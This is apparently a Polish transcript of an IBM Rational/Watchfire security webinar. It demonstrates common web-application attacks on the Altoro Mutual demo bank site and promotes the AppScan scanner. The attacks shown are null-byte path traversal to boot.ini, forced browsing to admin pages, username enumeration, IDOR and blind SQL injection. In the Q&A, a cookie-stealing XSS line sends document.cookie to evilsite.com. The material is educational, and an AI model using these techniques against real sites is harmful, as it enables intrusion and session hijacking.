Teraz przejdziemy do kolejnego slajdu. Opowiem o niezabezpieczonym bezpośrednim odwołaniu do obiektu. Co to znaczy? Chodzi o sytuację, w której uzyskujemy dostęp do pliku lub jego części dzięki danym wprowadzonym przez użytkownika. Jakie są tego skutki? Możemy uzyskać dostęp do zastrzeżonych zasobów, doprowadzić do wycieku informacji, dostać się do danych, przygotować się do przyszłych ataków. Teraz przejdziemy do następnego slajdu. Postaram się zademonstrować sposób pobrania plików z systemu hosta za pomocą ataku z wykorzystaniem zatrutego bajtu zerowego (*poison null byte attack*).

Jak widać na kolejnym ekranie, znowu jesteśmy w serwisie Altoro Mutual. Przeszliśmy do części aplikacji WWW poświęconej lokatom bankowym. Przyjrzyjmy się adresowi URL — wygląda na to, że stosowane jest jakieś podejście wykorzystujące szablony. Żądanie jest przekazywane do pliku default.aspx, a zawartość, która pojawi się w głównej części ekranu, pobierana jest przez aplikację na podstawie wartości parametru. Jesteśmy na stronie business_deposit.htm. Zobaczmy, czy jeśli zażądamy innego pliku, aplikacja WWW pobierze go i wyświetli. Na kolejnym slajdzie widać, że usiłujemy zmienić parametr i zażądać pliku boot.ini. Czyli pliku, którego w żadnym razie serwer WWW nie powinien udostępnić.

Ale zaraz... Wydaje się, że projektant strony wprowadził filtr, aby zapewnić, że serwer WWW może pobrać tylko pliki z rozszerzeniem CSP i HTM. Na kolejnym slajdzie widać, że usiłujemy wprowadzić tak zwany zatruty bajt zerowy — to właśnie ten napis %00 umieszczony w adresie URL. Filtr zatem widzi rozszerzenie .HTM, ale co się stanie, gdy zostanie wykonana próba pobrania tego pliku? Bajt zerowy zostanie zinterpretowany jako koniec ciągu znaków. Na poziomie systemu plików żądanie będzie dotyczyło jedynie pliku boot.ini. Pośrodku ekranu widać, że udało nam się uzyskać dostęp do tego pliku. Ponownie stało się tak dlatego, że projektant ujawnił fragment logiki. Aplikacja pobiera plik i wyświetla go na ekranie; przez wprowadzenie odpowiednich danych użytkownika można wskazać konkretny plik i uzyskać jego zawartość.

Przejdźmy do następnego ekranu. Zajmiemy się teraz wyciekami informacji i niewłaściwą obsługą błędów. Co to właściwie oznacza? Chodzi o informacje niepotrzebnie udostępniane podczas obsługi błędów lub w innych sytuacjach. Jakie mogą być tego konsekwencje? Im większą ilością informacji dysponuje użytkownik, im więcej istotnych danych zostało ujawnionych, tym łatwiej zaatakować aplikację WWW. Szczegóły konstrukcji aplikacji WWW, ujawnione fragmenty logiki aplikacji, kod źródłowy, składnia SQL, stos wywołań wyjątków — wszystkie te elementy można wykorzystać do uzyskania informacji na temat serwisu i przeprowadzenia włamania.

Na kolejnym slajdzie widzimy przykład z serwisu Altoro Mutual. Jest wiele sposobów wycieku informacji. Powiedzmy, że pozostawiliśmy plik dziennika FTP na serwerze. Intruz może uzyskać listę wszystkich katalogów i plików wchodzących w skład aplikacji.

Na kolejnym slajdzie mamy kilka przykładów komentarzy w HTML. Może to być bardzo prosty tekst, na przykład „jeśli zapomniałeś swojego identyfikatora...” lub „zadzwoń pod numer...”. Nawet taka informacja pozwala włamywaczowi na podjęcie próby jakiejś manipulacji. Możemy też na przykład umieścić w komentarzach definicje funkcji lub informacje o tym, jak są wykonywanie pewne wywołania i jakie dane są oczekiwane. Dowolne treści ujawnione w komentarzach albo na przykład w komunikatach o błędach zawierają informacje umożliwiające przeprowadzenie ataku na aplikację.

Na kolejnym slajdzie pokazano w szczególności, że nawet w komunikacie o błędzie, który już widzieliśmy przy okazji próby iniekcji SQL, pojawiają się nazwy pochodzące z kodu aplikacji. Stanowi to kolejne ułatwienie przeprowadzenia ataku tego typu. Mniej więcej w połowie komunikatu widzimy nazwę katalogu, w którym znajduje się plik: downloads\AlturoMutual_v5\website\bank\login.aspx. Wymienione są różne wykorzystywane biblioteki, obiekty i tak dalej. Wszystkie te informacje ułatwiają przeprowadzenie ataku na serwis.

Na kolejnym slajdzie widać, że nawet bardzo prosta funkcjonalność, ułatwiająca użytkownikom korzystanie z aplikacji, może być wykorzystana przez włamywacza. W tym przypadku wystąpił na przykład błąd logowania — podano złe hasło lub identyfikator użytkownika. Ten rodzaj wycieku informacji jest bardzo przydatny, jeśli ktoś chce zaatakować stronę logowania. Metodą prób i błędów można ustalić prawidłowe nazwy użytkowników systemu. Czy nazwą użytkownika dla administratora jest SA, SA_admin, admin, a może administrator? Mogę próbować tak długo, aż znajdę prawidłową nazwę. A potem już rozpocznę próby włamania za pomocą algorytmu siłowego, czyli tak zwanej metody *brute force*. Jeśli już uda mi się ustalić prawidłową nazwę użytkownika, to mogę przejrzeć słownik haseł i spróbować dokonać włamania do aplikacji.

Kolejny slajd dotyczy braku ograniczeń dostępu do adresów URL. Użytkownik może uzyskać dostęp do zasobu poprzez jawne wskazanie adresu w przeglądarce. W konsekwencji może dojść do wycieku lub zmodyfikowania istotnych informacji, a haker może uzyskać dostęp do uprawnień administratora. Przejdźmy do następnego slajdu. Pokażę teraz, jak wymusić przejście do strony administracyjnej. Korzystaliśmy ze standardowej aplikacji. Zobaczmy, jak loguje się administrator. Standardowy administrator loguje się jako „admin”. W swojej aplikacji, w lewej dolnej części ekranu, ma dostęp do funkcji „Wyświetl parametry aplikacji” oraz „Edytuj

użytkowników". Do funkcji „Edytuj użytkowników" zwykły użytkownik nie powinien nigdy uzyskać dostępu.

Na kolejnym slajdzie widać, że chcemy wymusić przejście do strony admin/admin.aspx. Sprawdźmy, czy aplikacja nam na to pozwoli.

Przejdźmy do następnego ekranu. Logujemy się jako zwykły użytkownik, JSmith. Spróbujmy teraz wymusić przejście do poprzednio pokazywanej strony, po zalogowaniu zmienimy URL na admin/admin.aspx. Można oczywiście zapytać: skąd użytkownik ma wiedzieć, że taka strona istnieje? Cóż, może próbować zgadnąć. Może podać katalog „admin", potem poszukać pliku „admin/admin.aspx" albo... albo zrobić to inaczej. Jeśli uzyska dostęp do dziennika FTP na serwerze, pozna listę katalogów i plików. Jest wiele sposobów, aby uzyskać tę informację. Nawet prosta konwencja nazewnictwa stosowana w aplikacji może ułatwić zdobycie tej wiedzy.

Na kolejnym slajdzie zaprezentowano wiele rodzajów eskalacji uprawnień. Użytkownik może uzyskać dostęp do informacji czy też do plików, do których nie powinien mieć dostępu. Dzienniki FTP stanowią tu dobry przykład. Zawierają one informacje o różnych plikach. Jeśli użytkownik jest w stanie wymusić przejście do administracyjnej części aplikacji, następuje tak zwana pionowa eskalacja uprawnień. Widzieliśmy to poprzednio, kiedy zwykły użytkownik mógł zmodyfikować adres URL i wymusić przejście do strony administracyjnej, na której był w stanie edytować dane użytkowników. Udało mu się więc uzyskać dostęp do stron, do których nie powinien mieć dostępu. Stało się tak dlatego, że projektant nie sprawdził, czy JSmith ma dostęp do strony administracyjnej. Jest jeszcze jeden, nawet bardziej podstawowy, problem występujący w przypadku tak zwanej poziomej eskalacji uprawnień: użytkownik może mieć dostęp do danej strony, ale niekoniecznie do informacji na niej wyświetlanych.

Zajmijmy się przykładowo aplikacją do tworzenia raportów. Mogę mieć dostęp do swoich informacji, więc jeśli wejdę na stronę report.aspx, mam prawo przeglądać moje prywatne dane. Ale być może, korzystając z narzędzia Temper Data, jestem w stanie zmienić identyfikator w żądaniu na identyfikator innej osoby. Na tym właśnie polega pozioma eskalacja uprawnień. Możemy również obejrzeć dane innego użytkownika, na przykład dane jego konta bankowego. Znów jest zatem bardzo istotne sprawdzanie danych pochodzących od użytkownika. Dotyczy to zwłaszcza przypadków żądań danych od systemu. Musimy sprawdzać, czy użytkownik ma prawa dostępu do danej strony i czy ma prawo do informacji, której się domaga.

Wspomniałem o analizie słabych punktów zabezpieczeń. Postaram się teraz przedstawić oprogramowanie AppScan, narzędzie do automatyzacji takiej analizy. Przejdźmy do kolejnego slajdu. Jeśli przyjrzymy się ofercie Watchfire i Rational, to zobaczymy że Rational dostarcza wiele narzędzi ułatwiających testowanie funkcjonalności i wydajności. Chodzi o produkty takie jak Rational Functional Tester i Rational Performance Tester. Narzędziem Rational do analizy słabych punktów zabezpieczeń jest AppScan. Oprogramowanie można skonfigurować tak, aby łączyło się z danym serwisem. Połączenie to zostanie nawiązane automatycznie. Jeśli w aplikacji używana jest technologia AJAX lub menu tworzone dynamicznie za pomocą JavaScript, to AppScan wywoła aplikację, ustali wszystkie możliwe metody ataku i rozpocznie uruchamianie testowych odwołań do aplikacji w celu ustalenia, czy możliwe jest wykorzystanie iniekcji SQL, *cross-site scripting* i innych tego typu ataków.

Na kolejnym slajdzie mogą Państwo zauważyć, że dysponujemy również narzędziem pod nazwą Policy Tester, które pomaga spełnić wymagania dotyczące zgodności, takie jak Section 508, GLBA i Safe Harbor. Wspominałem także o zgodności treści, czyli o tym, czy aplikacja umożliwia nieuprawniony dostęp do danych osobowych. Kolejna kwestia to spełnienie przez aplikację wymagań dotyczących jakości. Możliwa jest również inwentaryzacja zasobów serwisu.

Skupimy się teraz zatem na oprogramowaniu AppScan. Przejdźmy do następnego slajdu, wyjaśnię, czym naprawdę jest ten produkt. AppScan jest zautomatyzowanym narzędziem do sprawdzania słabych punktów zabezpieczeń aplikacji WWW. Jest przydatne dlatego, że znacznie upraszcza wykrywanie i usuwanie problemów dotyczących bezpieczeństwa aplikacji WWW. Co robi AppScan? Jak sama nazwa wskazuje, skanuje aplikacje. Wykrywa problemy związane z zabezpieczeniami. Raportuje ich wystąpienie w sposób ułatwiający podjęcie działań, zatem nie tylko znajduje słabe punkty aplikacji, lecz także pomaga je usunąć.

Udostępnia sześć rodzajów zaleceń. Zawiera szkoleniowy materiał wideo mówiący o słabych punktach zabezpieczeń. Użytkownikami pakietu będą zwykle audytorzy bezpieczeństwa. Zazwyczaj jest to główna grupa użytkowników w ramach organizacji. Pracownicy działu zapewniania jakości wkraczają po zakończeniu pracy przez audytorów. Mogą sprawdzić problem po jego rozwiązaniu. Jeśli audytorzy mają zbyt wiele zadań, część z nich może przejąć dział zapewniania jakości i włączyć je do swoich testów. Pozwala to na zwiększenie zakresu testowania wszystkich aplikacji bez ograniczania się do głównego systemu. Kolejna grupa użytkowników to programiści, którzy mogą korzystać z pakietu w celu bardzo wczesnego wykrywania problemów.

Na kolejnym slajdzie przedstawiono różne produkty związane z bezpieczeństwem, przeznaczone dla różnych rodzajów organizacji. Służą one do rozwiązywania problemów z zabezpieczeniami niezależnie od tego, w jaki sposób stosuje się skanowanie. Wersja AppScan Enterprise QuickScan umożliwia programistom bardzo szybkie i bardzo łatwe skanowanie tworzonych aplikacji WWW. Wersja AppScan QA jest przeznaczona dla działu zapewniania jakości. Wersja AppScan Audit umożliwia wykonywanie skanowania przez osoby testujące zabezpieczenia. Jest też wersja AppScan MSP przeznaczona do monitorowania środowiska produkcyjnego. Służy do monitorowania i audytu wdrożonych aplikacji.

Na kolejnym ekranie, co zresztą widzieliśmy już wcześniej, pokazano że pakiet AppScan służy do skanowania górnej warstwy stosu, w której znajdują się aplikacje WWW, komponenty pochodzące od firm zewnętrznych, konfiguracja serwera WWW i sam serwer WWW.

Opowiem teraz o tym, w jaki sposób działa AppScan. AppScan traktuje aplikację jak „czarną skrzynkę”. Przechodzi przez aplikację WWW i buduje model serwisu w sposób, w jaki zwykły użytkownik mógłby korzystać z aplikacji. Stara się określić, jakie słabe punkty w niej występują i jak mogą one zostać wykorzystane przez włamywaczy. Określa kierunki ataku, na podstawie wybranej strategii testowania. Następnie AppScan testuje aplikację za pomocą żądań HTTP i bada odpowiedzi HTTP zgodnie z ustalonymi regułami sprawdzania. Na diagramie widać, że po wysłaniu żądania HTTP system zaplecza korzysta z tej informacji i wysyła odpowiedź.

Z kolei na następnym slajdzie widzimy, że AppScan zajmuje się nie tylko wskazaniem problemu. Pierwszym etapem jest zidentyfikowanie rodzaju aplikacji, z którą mamy do czynienia,

określenie jej słabych punktów zabezpieczeń, a następnie, co najważniejsze, zostają podane zalecenia dotyczące działań niezbędnych do rozwiązania problemu.

Na kolejnym ekranie widać, że po przejściu przez aplikację narzędzie AppScan tworzy po lewej stronie drzewo plików. To lista elementów wykrytych w przeskanowanej aplikacji. Na podstawie wyników skanowania AppScan utworzył zbiór zaleceń dotyczących naprawy problemów. Mamy tu na przykład wyróżnione zalecenia dotyczące sprawdzenia, czy wszystkie niebezpieczne znaki wprowadzane przez użytkownika są odpowiednio filtrowane. Program wskaże wszystkie strony i wszystkie parametry, które należy sprawdzić.

Narzędzie zawiera też materiały szkoleniowe przydatne w sytuacji, gdy niekoniecznie wiemy, na czym polega przejmowanie hosta albo iniekcja SQL. Pozwala to nie tylko zrozumieć problem, lecz także znaleźć jego rozwiązanie.

Tu z kolei mowa jest o tym, że AppScan zaprojektowano w sposób elastyczny: możliwe jest nie tylko skanowanie dowolnej aplikacji WWW. Pakiet pozwala również na elastyczną obsługę dowolnych procesów funkcjonujących w organizacji. Jeśli na przykład dział bezpieczeństwa uruchamia audyt aplikacji i znajduje jej słabe punkty, użytkownik może po kliknięciu problemu prawym przyciskiem myszy odesłać go do standardowego systemu śledzenia błędów używanego w organizacji. Problem od tej pory podlega procesowi śledzenia. Programiści mogą po zakończeniu pracy oznaczyć problem jako rozwiązany i skierować do standardowego procesu weryfikacji w celu potwierdzenia, że rzeczywiście znaleziono rozwiązanie.

Na dole przedstawionego ekranu widać zalecenie, rekomendację sposobu rozwiązania i wszystkie istotne informacje, a w szczególności opis. AppScan dobrze się zatem wpasowuje w cykl produkcyjny stosowany w organizacji. Dzięki skorzystaniu z istniejących procesów nie utrudniamy prac programistów i działu zapewniania jakości. Po prostu tworzymy informację o kolejnym problemie, który powinien być rozwiązany.

Na kolejnym ekranie widzimy podsumowanie prezentacji, a na następnym podkreślamy fakt, że mówiliśmy tu o środowisku aplikacji WWW. Staraliśmy się wprowadzić rozróżnienie między słabymi punktami zabezpieczeń sieci i aplikacji. Zdajemy już sobie sprawę z tego, gdzie należy ich szukać. Udało się zademonstrować sposób ich wykorzystania przez włamywaczy, ale także sposób ich łatwego wykrycia dzięki zautomatyzowanym narzędziom, takim jak AppScan.

Przekazuję teraz głos Angelique.

Angelique Matheny: Dziękuję bardzo, Shawn. To była bardzo interesująca prezentacja. Cieszę się, że podzieliłeś się z nami swoją wiedzą i doświadczeniem związanym z tak ważnym i aktualnym obecnie tematem. Tak, faktycznie przedstawiłeś mnóstwo informacji.

Państwa opinia na temat dzisiejszej prezentacji jest dla nas bardzo istotna. Za chwilę na Państwa ekranach pojawi się okienko z ankietą. Poprosimy o pomoc w określeniu tematów kolejnych prezentacji. Bardzo cenimy Państwa zdanie, czekamy zatem na opinie dotyczące dzisiejszej prezentacji.

Zanim jednak przejdziemy do ankiety i rozpoczniemy sesję pytań i odpowiedzi, chciałabym przedstawić kilka zasobów udostępnianych przez IBM. Na pierwszym slajdzie znajduje się lista dodatkowych materiałów związanych z tworzeniem zabezpieczeń aplikacji WWW. Jest tu między innymi odsyłacz do większego opracowania oraz do przykładowego kodu, z którym na początek warto się zapoznać.

Na kolejnym slajdzie znajdują się odsyłacze do próbnych wersji narzędzi IBM Rational. Mają Państwo dostęp do bezpłatnych wersji najbardziej popularnego oprogramowania IBM, jak również do dodatkowych zasobów związanych z każdym produktem. Proszę odwiedzić serwis IBM developerWorks, aby uzyskać pełną listę oprogramowania do pobrania.

Przejdźmy do następnego slajdu. Proszę pamiętać o konferencji IBM Rational Software. W tym roku odbędzie się ona w Orlando, w dniach od 31 maja do 4 czerwca, w ośrodkach Swan i Dolphin. Zaplanowano ponad 300 sesji zgrupowanych w 14 tematów. Więcej informacji mogą Państwo uzyskać pod adresem URL podanym na tej stronie.

Chciałabym jeszcze wspomnieć o możliwości uzyskania dodatkowych informacji na naszych konferencjach. Są to lokalne spotkania, prowadzone na żywo. Jak widać na tej liście, oferujemy różne konferencje techniczne. Prowadzimy je w ciągu całego roku w różnych miastach w kraju i za granicą. Proszę sprawdzić w serwisie WWW, którego adres podajemy na tym slajdzie, jakie spotkania są planowane w Państwa okolicy. Udział w nich jest bezpłatny.

Kolejny slajd dotyczy szkoleń w zakresie produktów IBM Rational. Państwa firma bez wątpienia może zwiększyć produktywność dzięki oprogramowaniu Rational do tworzenia aplikacji. Nasze niedawno wprowadzone, wysoko oceniane szkolenia stanowią doskonały sposób uzyskania dodatkowej wiedzy. Jeśli chcą Państwo nabyć oprogramowanie, o którym dziś mówiliśmy, lub inne produkty z naszej oferty, to wszystkie niezbędne informacje znajdą Państwo w katalogu oprogramowania IBM. Katalog jest dostępny w postaci pliku PDF i w formie interaktywnej w sieci. Zawiera aktualną listę produktów oraz cennik, produkty można zamawiać drogą sieciową lub telefoniczną.

Jesteśmy już gotowi do rozpoczęcia sesji pytań i odpowiedzi. Mogą Państwo w dalszym ciągu zgłaszać pytania w polu znajdującym się z lewej strony konsoli.

Shawn, mamy pierwsze pytanie. Sądzę, że od tego zaczniemy. Czy Policy Tester to WebXM?

Shawn Miller: Tak. Dokładniej mówiąc, firma Watchfire opracowała produkt pod nazwą WebXM. Gdy w ubiegłym roku zostaliśmy przejęci przez IBM, zdecydowaliśmy się na zmianę nazwy tego produktu na Policy Tester. Zatem WebXM to rzeczywiście Policy Tester.

Angelique Matheny: W porządku. Zatem wiemy, jak te produkty są ze sobą powiązane.

Przejdźmy do kolejnego pytania. Jakie są podstawowe problemy, z którymi można się zetknąć, gdy chcemy uwzględnić bezpieczeństwo w cyklu tworzenia oprogramowania?

Shawn Miller: Jednym z najważniejszych problemów, z jakim mogą się zetknąć organizacje, jest szkolenie. Chodzi o szerszy kontekst, nie tylko o szkolenie dotyczące sposobu używania

narzędzia. Są problemy ze szkoleniem specjalistów do spraw zapewniania jakości i programistów, w zakresie rzeczywistych zagadnień bezpieczeństwa. Istotny jest nie tylko techniczny punkt widzenia, lecz także zrozumienie zagrożeń związanych z różnymi słabymi punktami zabezpieczeń. Zwykle jeśli mówimy o uwzględnieniu bezpieczeństwa w cyklu tworzenia aplikacji, ważnym elementem jest podzielenie tego procesu na etapy.

Na początku bezpieczeństwem mogą się zająć zaufani doradcy. Mogą opracować szablony działania. Mogą pomóc sprawdzić wyniki otrzymane przez dział zapewniania jakości, ale w dalszych fazach rolę tę przejmą specjaliści do spraw jakości. Oni właśnie będą inicjować testy, tworzyć szablony, sprawdzać wyniki i jeśli znajdą problem, którego nie potrafią wyjaśnić, zwrócą się do specjalistów do spraw bezpieczeństwa. Takie podejście, charakteryzujące się podziałem na etapy, jest stosowane przez wiele organizacji, które chcą uwzględnić kwestie związane z bezpieczeństwem w cyklu tworzenia oprogramowania. Przeciwieństwem jest przerzucenie wszystkich zadań od razu na dział zapewniania jakości. Szkolenia są na pewno bardzo ważną częścią tego procesu. Twórcy aplikacji muszą zrozumieć zasady tworzenia bezpiecznego kodu. Dział zapewniania jakości musi nie tylko poznać sposoby korzystania z narzędzia, lecz także uzyskać nieco wiedzy na temat słabych punktów zabezpieczeń, sposobów sprawdzania wyników oraz zagrożeń, które z nich wynikają. W końcu przecież ktoś musi przejrzeć listę słabych punktów i określić, które z nich zostały naprawione, i tak dalej. To są właśnie niektóre spośród najważniejszych zagadnień, z którymi styka się wiele organizacji.

Angelique Matheny: Dziękuję za odpowiedź. Zaczęliśmy od pytań dotyczących oprogramowania Rational Policy Tester. Czy można w jakiś sposób przetestować ten produkt? Czy jest dostępna wersja próbna?

Shawn Miller: Jeśli chodzi o Policy Tester, to zwykle wykonujemy demonstrację produktu, a potem czasami (w ograniczonym zakresie) przegląd serwisu Klienta. Pozwala to stwierdzić, jak prezentuje się taki serwis pod względem zgodności z odpowiednimi przepisami. Można tu wymienić na przykład wskazanie niezgodności z Section 508, TII i tak dalej. Zatem ogólna rada: jeśli chcą Państwo użyć narzędzia Policy Tester do sprawdzenia serwisu albo skorzystać z niego w okresie próbnym, proszę skontaktować się z przedstawicielem handlowym IBM Rational lub IBM Watchfire. Mogą oni Państwu pomóc.

Angelique Matheny: Świetnie, dziękuję. Mamy kolejne ciekawe pytanie. Na wielu materiałach reklamowych pojawia się nazwa Watchfire. Jaki to ma związek z IBM? Czy Watchfire jest nazwą aktualnego produktu?

Shawn Miller: Ach, jasne. Przepraszam za zamieszanie. Watchfire to firma założona w połowie lat 90. W naszej ofercie było wiele produktów, przy czym w ciągu ostatnich kilku lat koncentrowaliśmy się na wsparciu organizacji w spełnianiu wymagań dotyczących zgodności. Zatem Watchfire było firmą dostarczającą różne oprogramowanie. Jednym z głównych produktów był AppScan — narzędzie, o którym dziś opowiadałem. Drugim takim produktem był WebXM, noszący obecnie nazwę Policy Tester. IBM przejęło Watchfire latem 2007 roku, zatem firma już nie istnieje jako osobny byt, choć nazwa wciąż się pojawia. Dzieje się tak dlatego, że wiele osób ciągle jednoznacznie kojarzy AppScan z firmą Watchfire. Produkt ten jednak nazywa się obecnie IBM Rational AppScan.

Angelique Matheny: Dziękuję. Przejdziemy teraz do nieco bardziej szczegółowych pytań, jeśli nie masz nic przeciwko temu. Musiały się oczywiście pojawić pytania dotyczące języka SQL.

Czy w przypadku iniekcji SQL włamywacz musi znać nazwy tabel i kolumn, aby przeprowadzić atak?

Shawn Miller: Są różne rodzaje ataków, które można przeprowadzić. W przypadku naszej prezentacji było to tak zwane obejście logowania. Wprowadziliśmy nieco dodatkowej logiki, która zmieniła sposób, w jaki normalnie zadziałałaby instrukcja SQL. Zwykle użytkownik tworzy zapytanie w postaci instrukcji „select * from user_table where user_name = {czemuś} and password = {czemuś}". Dodaliśmy nieco logiki. W tym przypadku nie musieliśmy wiedzieć, jakie są nazwy kolumn czy tabel.

Ogólnie rzecz biorąc: nie, nie musimy mieć tych informacji, istnieją jednak bardziej zaawansowane typy ataków. Pierwszym krokiem w takich atakach jest próba określenia, jaki typ bazy danych jest wykorzystywany w systemach zaplecza. Kolejne kroki polegają na skorzystaniu z różnych metod uzyskania odpowiedzi od aplikacji WWW w celu określenia nazw tabel, kolumn i tak dalej.

Warto tu wspomnieć o badaniach przeprowadzonych przez Davida Litchfielda. Opublikował on artykuł pod tytułem „Deasemblacja aplikacji WWW z wykorzystaniem komunikatów o błędach ODBC". To bardzo interesujący tekst. Jest w nim mowa o tym, w jaki sposób można rozmyślnie przekazywać do aplikacji różne błędy, aby uzyskać nazwy tabel i kolumn w bazie, co ułatwia przeprowadzenie ataku.

Podobnie w Watchfire, czyli obecnie w ramach IBM Rational, opracowaliśmy narzędzie pod nazwą Exploiter, które ściąga nazwy tabel i kolumn za pośrednictwem aplikacji WWW. Zatem jeśli zaczynamy, nie musimy znać tych nazw — istnieją sposoby ich uzyskania. Można także w inteligentny sposób odgadnąć niektóre rzeczy. Na przykład zwykle tabele z danymi użytkowników noszą nazwy Users, User_table i tak dalej. To samo dotyczy kolumn, tu z kolei często pojawiają się nazwy typu ID czy UID. Zatem atak to kombinacja różnych metod. Zależy, jaki atak chcemy przeprowadzić. Ale jeśli nawet ktoś nie zna nazw tabel i kolumn, może je ustalić.

Angelique Matheny: Jeśli wyłączymy strony z informacją o błędach, to nie uda się przeprowadzić iniekcji SQL, prawda?

Shawn Miller: Wydaje mi się, że związanych jest z tym kilka zagadnień. Pierwsza sprawa to przykłady, które widzieliśmy, kiedy wprowadziliśmy apostrof, co pozwoliło nam uzyskać zwrotny komunikat o błędzie. W przykładach szukaliśmy zatem komunikatów SQL, a konkretnie komunikatów o błędach OLE DB. Pomogło to nam sprawdzić, czy wśród systemów zaplecza jest baza danych i czy jesteśmy w stanie zmodyfikować tę instrukcję.

Istnieje jednak inny typ ataku, nazywany iniekcją SQL „na ślepo". Polega on na wstawieniu pewnego fragmentu logiki do każdego parametru i sprawdzeniu zachowania aplikacji. Przedstawię uproszczony schemat takiego działania.
Załóżmy, że przeglądamy informacje o koncie.

Niech numerem konta będzie liczba jeden. Nasz atak może zawierać zapytanie o konto numer 1, przy czym dodamy nieco kodu, to znaczy dopiszemy „or 1 = 1”. Sprawdzamy, czy aplikacja zwróci informację o naszym koncie, komunikat o błędzie, czy też dane jakiegoś innego konta. Potem spróbujemy wykonać inne operacje. Zadamy zapytanie o konto numer 1. A potem spróbujemy z „1 = 2”. Chcemy zobaczyć, jak działa aplikacja, gdy prześlemy nieprawidłowe żądanie. Możemy przeprowadzić całą serię różnych ataków z wykorzystaniem logiki w celu ustalenia, czy można powiedzieć coś na temat aplikacji, na temat jej zachowania. Gdy to ustalimy, jesteśmy gotowi do rozpoczęcia ataków. Istnieją zatem logiczne metody sprawdzenia, czy możliwa jest iniekcja SQL do aplikacji. Dalej już przyda się trochę zgadywania. Na pewno jednak możliwe jest przeprowadzenie ataków nawet wtedy, gdy komunikaty o błędach zostały wyłączone, ponieważ słaby punkt zabezpieczeń w dalszym ciągu istnieje. Jest go tylko nieco trudniej wykryć niż w przykładzie, który widzieliśmy.

Angelique Matheny: Czy jakieś narzędzia Rational, oprócz ClearQuest, są zintegrowane z pakietem AppScan?

Shawn Miller: Obecnie dysponujemy różnymi poziomami integracji z oprogramowaniem ClearQuest. W przykładzie, który demonstrowałem, mogłem kliknąć problem prawym przyciskiem myszy i przesłać go jako usterkę do systemu ClearQuest. Wersja AppScan Enterprise jest zintegrowana z systemem ClearQuest. W przyszłym miesiącu IBM Software Delivery Center zamierza opublikować pewne informacje na ten temat, chętnie o tym porozmawiamy po prezentacji.

Angelique Matheny: Świetnie. Musimy zatem poczekać. Sprawdźmy, czy pojawiły się jeszcze jakieś pytania. Jest kolejne, oto ono: Przedstawiony produkt powstrzymuje ataki. Czy IBM oferuje produkt, który jest w stanie sprawdzić, czy atak miał miejsce w przeszłości? Na przykład przez przeskanowanie dzienników zdarzeń lub w podobny sposób?

Shawn Miller: Rozumiem. Oprogramowanie AppScan służy do zidentyfikowania słabych punktów zabezpieczeń w samej aplikacji. Aby sprawdzić takie sytuacje, o jakich mowa w pytaniu, powinniśmy raczej korzystać z narzędzi BISS i Tivoli, które wykonują audyty serwerów WWW, kontrolę plików dzienników i tak dalej.

Angelique Matheny: Dziękuję. Możemy odpowiedzieć na jeszcze jedno pytanie. Pytanie brzmi: Oczywiście można wyświetlić informację cookie, ale jak ją uzyskać?

Shawn Miller: Rozumiem. W przykładach, które obejrzeliśmy, chciałem zademonstrować, że istnieje możliwość uzyskania dostępu do informacji cookie za pośrednictwem kodu JavaScript. Jest kilka sposobów, aby to osiągnąć. W prezentacjach oprogramowania, podczas których mogę skorzystać z mojego komputera, zwykle tworzymy wiadomość e-mail i umieszczamy w niej odsyłacz zawierający fragment kodu JavaScript. Zachęcamy użytkownika do kliknięcia tego odsyłacza. Odsyłacz może być umieszczony w blogu albo w wiadomości pocztowej. Gdy użytkownik kliknie odsyłacz zawierający wpisany przez nas kod, kod ten zostanie dołączony do żądania i przekazany do serwera WWW. Użytkownik zobaczy stronę WWW, którą odeśle mu serwer. W tym czasie jednak uruchomi się także kod JavaScript. W przykładzie, który zademonstrowałem, wywołaliśmy funkcję *alert()* z parametrem cookie. Możemy jednak dynamicznie dodać obrazek, w którym zdefiniowano parametr SRC = evilsite.com?SessionID= i

dodać do niego wartość document.Cookie. W ten sposób przesyłamy całą informację na zewnątrz, do zewnętrznego serwera. Moglibyśmy również skorzystać z programu rejestrującego naciśnięcia klawiszy. Jest wiele rzeczy, które moglibyśmy zrobić. Chodzi o to, że skoro możemy wstawić na stronie jakiś kod JavaScript przy użyciu parametru (jak w przypadku alertu, z którego skorzystaliśmy), to możemy uzyskać dostęp do informacji cookie. Jest wiele sposobów przekazania tej informacji na zewnątrz.

Angelique Matheny: W porządku. Shawn, bardzo dziękujemy za odpowiedzi.

Prezentacja będzie dostępna do odtworzenia za około 24 godziny pod tym samym adresem URL. Zostanie tam umieszczony również tekst odpowiedzi na pytania.

Chciałabym podziękować naszemu dzisiejszemu gościowi, Shawnowi Millerowi, za poprowadzenie prezentacji pod tytułem „Podstawy hakerstwa, czyli 10 najbardziej rozpowszechnionych ataków na aplikacje WWW".

Dziękujemy również Państwu za zainteresowanie. Mamy nadzieję, że wezmą Państwo udział w naszych kolejnych spotkaniach w najbliższym czasie. Jeszcze raz dziękuję bardzo za uwagę.